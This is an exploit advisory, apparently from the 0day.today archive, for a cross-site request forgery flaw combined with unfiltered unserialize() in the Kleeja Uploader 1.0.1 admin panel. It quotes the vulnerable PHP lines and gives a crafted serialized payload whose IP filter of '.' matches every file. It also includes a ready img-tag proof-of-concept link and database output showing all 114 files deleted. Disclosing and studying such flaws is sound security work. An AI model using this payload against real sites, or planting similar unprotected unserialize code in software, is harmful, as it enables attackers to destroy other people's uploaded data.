Author

Qabandi

Risk

[

Security Risk Low

]

0day-ID

0day-ID-18790

Category

web applications

Date add

23-06-2012

Platform

php

# Exploit Title: Kleeja Uploader <= 1.0.1 CSRF Delete all uploaded files ft. unserialize()
# Exploit Author: Qabandi ( @qab )
# Vendor Homepage: kleeja.com
# Software Link: kleeja.com/download
# Version: 1.0.1
----------------------------------------------------------------------------
Some actions are not tokenized which leaves the script vulnerable to CSRF attacks
----------------------------------------------------------------------------
in C:\AppServ\www\kleeja\includes\adm\c_files.php:-

ln:138| if(isset($_GET['deletefiles'])){ <-- {{No Tokenization}}
...
...
ln:145|	$search	= kleeja_base64_decode($_GET['deletefiles']);
ln:146|	$search	= unserialize($search); <-- {{unfiltered unserializing, which means user can play with variable}}
...
...
ln:167|	$ipp			= $search['user_ip'] != '' ? 'AND f.user_ip LIKE \'%' . $SQL->escape($search['user_ip']) . '%\' ' : '';
ln:168|	//add the generated search sentence to the query
ln:169|	$query['WHERE'] = "$size_than $file_namee $ups_than $exte $rep_than $usernamee $lstd_than $exte $ipp";<-- query is built according to unserialized _GET[deletefiles] var
ln:170|
ln:171|	$result = $SQL->build($query);
...
...
ln:174|	while($row=$SQL->fetch_array($result))
ln:175|	{
ln:176|			//delete from folder ..
ln:177|			@kleeja_unlink (PATH . $row['folder'] . "/" . $row['name']);  <-- delete all files from query

------------------------------------------------
With a specifically crafted serialized variable we can trick the scrip into deleting all files by forcing the query to result in all files.

lets first look at a serialized variable for file searching according to IP (note: I base64 decoded it):
    deletefiles=a:1:{s:7:"user_ip";s:9:"127.0.0.1";}
    query will look something like this for example ( select filesToDelete from files where ip like '%127.0.0.1%' )
    
this is what is sent to the server when deleting, usually this would result in only the given ip's uploaded files being deleted.
but what if we send the following instead?:
    deletefiles=a:1:{s:7:"user_ip";s:1:".";}
    query will be ( select filesToDelete from files where ip like '%.%' )
    and since all ip's contain a dot '.' , all files will be deleted.
---------------------------------------------------
    PoC
<img src="http://localhost/kleeja/admin/index.php?cp=c_files&deletefiles=YToxOntzOjc6InVzZXJfaXAiO3M6MToiLiI7fQ==&_ajax_=1&_=Qabandi"/>
Admin must visit the link and it will execute and all files will be deleted.
---------------------------------------------------
mysql> select count(*) from klj_files;
+----------+
| count(*) |
+----------+
|      114 |
+----------+
1 row in set (0.00 sec)
##
visit link as admin:-
{"code":"1", "content":"\n\n
..
..
..
File 114 successfully deleted\n...
##
mysql> select count(*) from klj_files;
+----------+
| count(*) |
+----------+
|        0 |
+----------+
1 row in set (0.00 sec)

#salam



#  0day.today [2024-09-28]  #